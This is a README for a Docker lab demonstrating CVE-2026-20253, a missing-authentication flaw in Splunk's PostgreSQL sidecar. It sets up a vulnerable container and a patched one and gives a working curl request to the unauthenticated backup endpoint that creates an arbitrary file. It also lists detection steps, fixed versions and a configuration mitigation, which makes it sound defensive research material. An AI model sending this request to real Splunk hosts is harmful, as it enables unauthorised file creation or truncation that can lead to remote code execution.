
POC for CVE-2026-20253
Unauthenticated Arbitrary File Creation and Truncation via PostgreSQL Sidecar
CVSS 9.8 · Critical · CWE-306 · Actively exploited (CISA KEV)
This repository is intended strictly for educational and authorised security research purposes.
All testing must be performed against infrastructure you own or have explicit written permission to test.
The authors accept no liability for misuse of the techniques or tooling demonstrated here.
Never run this against production systems or environments you do not own.
CVE-2026-20253 affects Splunk Enterprise versions below 10.2.4 and 10.0.7.
The PostgreSQL sidecar service bundled with Splunk exposes two internal HTTP endpoints:
/v1/postgres/recovery/backup
/v1/postgres/recovery/restore
Both endpoints lack any authentication check (CWE-306), meaning any network-reachable attacker can invoke them without credentials. By supplying an attacker-controlled backupFile parameter, an unauthenticated user can create or truncate arbitrary files on the Splunk host filesystem — a primitive that researchers have chained into full pre-authentication Remote Code Execution.
.
├── Dockerfile # Vulnerable image (splunk 10.2.3)
├── docker-compose.yml # Vulnerable container on port 8000
├── patched.Dockerfile # Patched image (splunk 10.2.4)
├── patched-docker-compose.yml # Patched container on port 8001
└── instructions # Quick command reference
curl availabledocker compose -f docker-compose.yml up -d --build
Wait ~90 seconds for Splunk to fully initialise. Follow progress with:
docker compose -f docker-compose.yml logs -f
# Ready when you see: "Ansible playbook complete"
Splunk Web UI → http://localhost:8000
Credentials: admin / changeme
docker compose -f patched-docker-compose.yml up -d --build
Splunk Web UI → http://localhost:8001
Credentials: admin / changeme
Both containers can run side-by-side — ports are offset to avoid conflicts.
curl -sk -X POST "http://localhost:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Expected: 400 — endpoint exists, no authentication was enforced, request was processed.
Verify the file was created inside the container:
docker exec splunk-cve-2026-20253 ls -la /tmp/poc
curl -sk -X POST "http://localhost:8001/en-US/splunkd/__raw/v1/postgres/recovery/backup" -H "Authorization: Basic cHNzZWM6Cg==" -d '{"database":"postgres","backupFile":"/tmp/poc"}' -o /dev/null -w "HTTP Status: %{http_code}\n"
Expected: 401 — authentication is now enforced, request rejected.
| HTTP Status | Meaning |
|---|
The watchTowr Labs team published a detection script that automates the above check:
git clone https://github.com/watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253
cd watchTowr-vs-Splunk-CVE-2026-20253
pip3 install requests
python3 watchTowr-vs-Splunk-CVE-2026-20253.py --host 127.0.0.1 --port 8000
# Stop vulnerable
docker compose -f docker-compose.yml down
# Stop patched
docker compose -f patched-docker-compose.yml down
Update to a fixed version immediately:
| Branch | Fixed Version |
|---|---|
| 10.2.x | 10.2.4 |
| 10.0.x | 10.0.7 |
If you cannot patch immediately, disable the PostgreSQL sidecar by adding the following to server.conf and restarting Splunk:
[postgres]
disabled = true
⚠️ Do not disable the sidecar if you are running Edge Processor or SPL2 data pipelines — it is required for those features.
This lab environment is provided for defensive security research and education only.
Unauthorised access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent legislation worldwide.
Use responsibly.
| Property | Detail |
|---|
| CVE | CVE-2026-20253 |
| CVSS Score | 9.8 (Critical) |
| CWE | CWE-306 — Missing Authentication for Critical Function |
| Affected | Splunk Enterprise 10.0.x < 10.0.7, 10.2.x < 10.2.4 |
| Patched In | 10.0.7, 10.2.4 |
| CISA KEV | Added 18 June 2026 |
400 | Vulnerable — endpoint hit, no auth check |
401 | Patched — authentication enforced |
404 | Sidecar not present / wrong path |
000 | Container not ready yet |